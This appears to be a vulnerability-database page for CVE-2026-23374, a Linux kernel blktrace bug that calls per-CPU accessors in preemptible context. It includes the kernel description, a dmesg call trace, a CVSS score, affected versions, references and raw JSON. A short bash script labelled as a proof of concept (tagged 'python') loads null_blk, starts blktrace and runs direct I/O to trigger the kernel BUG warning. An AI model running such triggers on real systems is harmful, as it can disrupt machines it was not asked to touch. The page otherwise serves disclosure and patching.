CVE-2026-23374

Description

In the Linux kernel, the following vulnerability has been resolved: blktrace: fix __this_cpu_read/write in preemptible context tracing_record_cmdline() internally uses __this_cpu_read() and __this_cpu_write() on the per-CPU variable trace_cmdline_save, and trace_save_cmdline() explicitly asserts preemption is disabled via lockdep_assert_preemption_disabled(). These operations are only safe when preemption is off, as they were designed to be called from the scheduler context (probe_wakeup_sched_switch() / probe_wakeup()). __blk_add_trace() was calling tracing_record_cmdline(current) early in the blk_tracer path, before ring buffer reservation, from process context where preemption is fully enabled. This triggers the following using blktests/blktrace/002: blktrace/002 (blktrace ftrace corruption with sysfs trace) [failed] runtime 0.367s ... 0.437s something found in dmesg: [ 81.211018] run blktests blktrace/002 at 2026-02-25 22:24:33 [ 81.239580] null_blk: disk nullb1 created [ 81.357294] BUG: using __this_cpu_read() in preemptible [00000000] code: dd/2516 [ 81.362842] caller is tracing_record_cmdline+0x10/0x40 [ 81.362872] CPU: 16 UID: 0 PID: 2516 Comm: dd Tainted: G N 7.0.0-rc1lblk+ #84 PREEMPT(full) [ 81.362877] Tainted: [N]=TEST [ 81.362878] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.17.0-0-gb52ca86e094d-prebuilt.qemu.org 04/01/2014 [ 81.362881] Call Trace: [ 81.362884] <TASK> [ 81.362886] dump_stack_lvl+0x8d/0xb0 ... (See '/mnt/sda/blktests/results/nodev/blktrace/002.dmesg' for the entire message) [ 81.211018] run blktests blktrace/002 at 2026-02-25 22:24:33 [ 81.239580] null_blk: disk nullb1 created [ 81.357294] BUG: using __this_cpu_read() in preemptible [00000000] code: dd/2516 [ 81.362842] caller is tracing_record_cmdline+0x10/0x40 [ 81.362872] CPU: 16 UID: 0 PID: 2516 Comm: dd Tainted: G N 7.0.0-rc1lblk+ #84 PREEMPT(full) [ 81.362877] Tainted: [N]=TEST [ 81.362878] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.17.0-0-gb52ca86e094d-prebuilt.qemu.org 04/01/2014 [ 81.362881] Call Trace: [ 81.362884] <TASK> [ 81.362886] dump_stack_lvl+0x8d/0xb0 [ 81.362895] check_preemption_disabled+0xce/0xe0 [ 81.362902] tracing_record_cmdline+0x10/0x40 [ 81.362923] __blk_add_trace+0x307/0x5d0 [ 81.362934] ? lock_acquire+0xe0/0x300 [ 81.362940] ? iov_iter_extract_pages+0x101/0xa30 [ 81.362959] blk_add_trace_bio+0x106/0x1e0 [ 81.362968] submit_bio_noacct_nocheck+0x24b/0x3a0 [ 81.362979] ? lockdep_init_map_type+0x58/0x260 [ 81.362988] submit_bio_wait+0x56/0x90 [ 81.363009] __blkdev_direct_IO_simple+0x16c/0x250 [ 81.363026] ? __pfx_submit_bio_wait_endio+0x10/0x10 [ 81.363038] ? rcu_read_lock_any_held+0x73/0xa0 [ 81.363051] blkdev_read_iter+0xc1/0x140 [ 81.363059] vfs_read+0x20b/0x330 [ 81.363083] ksys_read+0x67/0xe0 [ 81.363090] do_syscall_64+0xbf/0xf00 [ 81.363102] entry_SYSCALL_64_after_hwframe+0x76/0x7e [ 81.363106] RIP: 0033:0x7f281906029d [ 81.363111] Code: 31 c0 e9 c6 fe ff ff 50 48 8d 3d 66 63 0a 00 e8 59 ff 01 00 66 0f 1f 84 00 00 00 00 00 80 3d 41 33 0e 00 00 74 17 31 c0 0f 05 <48> 3d 00 f0 ff ff 77 5b c3 66 2e 0f 1f 84 00 00 00 00 00 48 83 ec [ 81.363113] RSP: 002b:00007ffca127dd48 EFLAGS: 00000246 ORIG_RAX: 0000000000000000 [ 81.363120] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f281906029d [ 81.363122] RDX: 0000000000001000 RSI: 0000559f8bfae000 RDI: 0000000000000000 [ 81.363123] RBP: 0000000000001000 R08: 0000002863a10a81 R09: 00007f281915f000 [ 81.363124] R10: 00007f2818f77b60 R11: 0000000000000246 R12: 0000559f8bfae000 [ 81.363126] R13: 0000000000000000 R14: 0000000000000000 R15: 000000000000000a [ 81.363142] </TASK> The same BUG fires from blk_add_trace_plug(), blk_add_trace_unplug(), and blk_add_trace_rq() paths as well. The purpose of tracin ---truncated---

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:3.8:-:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:* - VULNERABLE

Linux Kernel (Mainline)

Linux Kernel 7.0.0-rc1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/bin/bash
# PoC for CVE-2026-23374: Linux Kernel blktrace DoS
# Requires local access and blktrace enabled

# Load null_blk module for testing
modprobe null_blk nr_devices=1

# Start blktrace monitoring on the device
# This activates the vulnerable code path
blktrace -d /dev/nullb0 -o - &
TRACE_PID=$!

# Wait for trace to start
sleep 1

# Perform Direct I/O to trigger __blk_add_trace
# This calls the vulnerable function in preemptible context
dd if=/dev/zero of=/dev/nullb0 bs=4k count=1 oflag=direct &>/dev/null

# Check kernel log for the BUG message
sleep 1
dmesg | tail -20 | grep -i "BUG: using __this_cpu_read"

# Cleanup
kill $TRACE_PID
rmmod null_blk

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-23374
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-23374
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-23374/
[4] VulDB https://vuldb.com/cve/CVE-2026-23374
[5] https://git.kernel.org/stable/c/59efa088752b1c380a0475974679850cc8aef907
[6] https://git.kernel.org/stable/c/aaba6ee63ba65b026401c94e2dd16b9f6e895934
[7] https://git.kernel.org/stable/c/da46b5dfef48658d03347cda21532bcdbb521e67
[8] https://git.kernel.org/stable/c/e5584932ac1dacc182c430d09e2b5490d1d4372b

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-23374", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-25T11:16:37.077", "lastModified": "2026-04-27T14:16:30.650", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nblktrace: fix __this_cpu_read/write in preemptible context\n\ntracing_record_cmdline() internally uses __this_cpu_read() and\n__this_cpu_write() on the per-CPU variable trace_cmdline_save, and\ntrace_save_cmdline() explicitly asserts preemption is disabled via\nlockdep_assert_preemption_disabled(). These operations are only safe\nwhen preemption is off, as they were designed to be called from the\nscheduler context (probe_wakeup_sched_switch() / probe_wakeup()).\n\n__blk_add_trace() was calling tracing_record_cmdline(current) early in\nthe blk_tracer path, before ring buffer reservation, from process\ncontext where preemption is fully enabled. This triggers the following\nusing blktests/blktrace/002:\n\nblktrace/002 (blktrace ftrace corruption with sysfs trace) [failed]\n runtime 0.367s ... 0.437s\n something found in dmesg:\n [ 81.211018] run blktests blktrace/002 at 2026-02-25 22:24:33\n [ 81.239580] null_blk: disk nullb1 created\n [ 81.357294] BUG: using __this_cpu_read() in preemptible [00000000] code: dd/2516\n [ 81.362842] caller is tracing_record_cmdline+0x10/0x40\n [ 81.362872] CPU: 16 UID: 0 PID: 2516 Comm: dd Tainted: G N 7.0.0-rc1lblk+ #84 PREEMPT(full)\n [ 81.362877] Tainted: [N]=TEST\n [ 81.362878] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.17.0-0-gb52ca86e094d-prebuilt.qemu.org 04/01/2014\n [ 81.362881] Call Trace:\n [ 81.362884] <TASK>\n [ 81.362886] dump_stack_lvl+0x8d/0xb0\n ...\n (See '/mnt/sda/blktests/results/nodev/blktrace/002.dmesg' for the entire message)\n\n[ 81.211018] run blktests blktrace/002 at 2026-02-25 22:24:33\n[ 81.239580] null_blk: disk nullb1 created\n[ 81.357294] BUG: using __this_cpu_read() in preemptible [00000000] code: dd/2516\n[ 81.362842] caller is tracing_record_cmdline+0x10/0x40\n[ 81.362872] CPU: 16 UID: 0 PID: 2516 Comm: dd Tainted: G N 7.0.0-rc1lblk+ #84 PREEMPT(full)\n[ 81.362877] Tainted: [N]=TEST\n[ 81.362878] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.17.0-0-gb52ca86e094d-prebuilt.qemu.org 04/01/2014\n[ 81.362881] Call Trace:\n[ 81.362884] <TASK>\n[ 81.362886] dump_stack_lvl+0x8d/0xb0\n[ 81.362895] check_preemption_disabled+0xce/0xe0\n[ 81.362902] tracing_record_cmdline+0x10/0x40\n[ 81.362923] __blk_add_trace+0x307/0x5d0\n[ 81.362934] ? lock_acquire+0xe0/0x300\n[ 81.362940] ? iov_iter_extract_pages+0x101/0xa30\n[ 81.362959] blk_add_trace_bio+0x106/0x1e0\n[ 81.362968] submit_bio_noacct_nocheck+0x24b/0x3a0\n[ 81.362979] ? lockdep_init_map_type+0x58/0x260\n[ 81.362988] submit_bio_wait+0x56/0x90\n[ 81.363009] __blkdev_direct_IO_simple+0x16c/0x250\n[ 81.363026] ? __pfx_submit_bio_wait_endio+0x10/0x10\n[ 81.363038] ? rcu_read_lock_any_held+0x73/0xa0\n[ 81.363051] blkdev_read_iter+0xc1/0x140\n[ 81.363059] vfs_read+0x20b/0x330\n[ 81.363083] ksys_read+0x67/0xe0\n[ 81.363090] do_syscall_64+0xbf/0xf00\n[ 81.363102] entry_SYSCALL_64_after_hwframe+0x76/0x7e\n[ 81.363106] RIP: 0033:0x7f281906029d\n[ 81.363111] Code: 31 c0 e9 c6 fe ff ff 50 48 8d 3d 66 63 0a 00 e8 59 ff 01 00 66 0f 1f 84 00 00 00 00 00 80 3d 41 33 0e 00 00 74 17 31 c0 0f 05 <48> 3d 00 f0 ff ff 77 5b c3 66 2e 0f 1f 84 00 00 00 00 00 48 83 ec\n[ 81.363113] RSP: 002b:00007ffca127dd48 EFLAGS: 00000246 ORIG_RAX: 0000000000000000\n[ 81.363120] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f281906029d\n[ 81.363122] RDX: 0000000000001000 RSI: 0000559f8bfae000 RDI: 0000000000000000\n[ 81.363123] RBP: 0000000000001000 R08: 0000002863a10a81 R09: 00007f281915f000\n[ 81.363124] R10: 00007f2818f77b60 R11: 0000000000000246 R12: 0000559f8bfae000\n[ 81.363126] R13: 0000000000000000 R14: 0000000000000000 R15: 000000000000000a\n[ 81.363142] </TASK>\n\nThe same BUG fires from blk_add_trace_plug(), blk_add_trace_unplug(),\nand blk_add_trace_rq() paths as well.\n\nThe purpose of tracin\n---truncated---"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negat ... (truncated)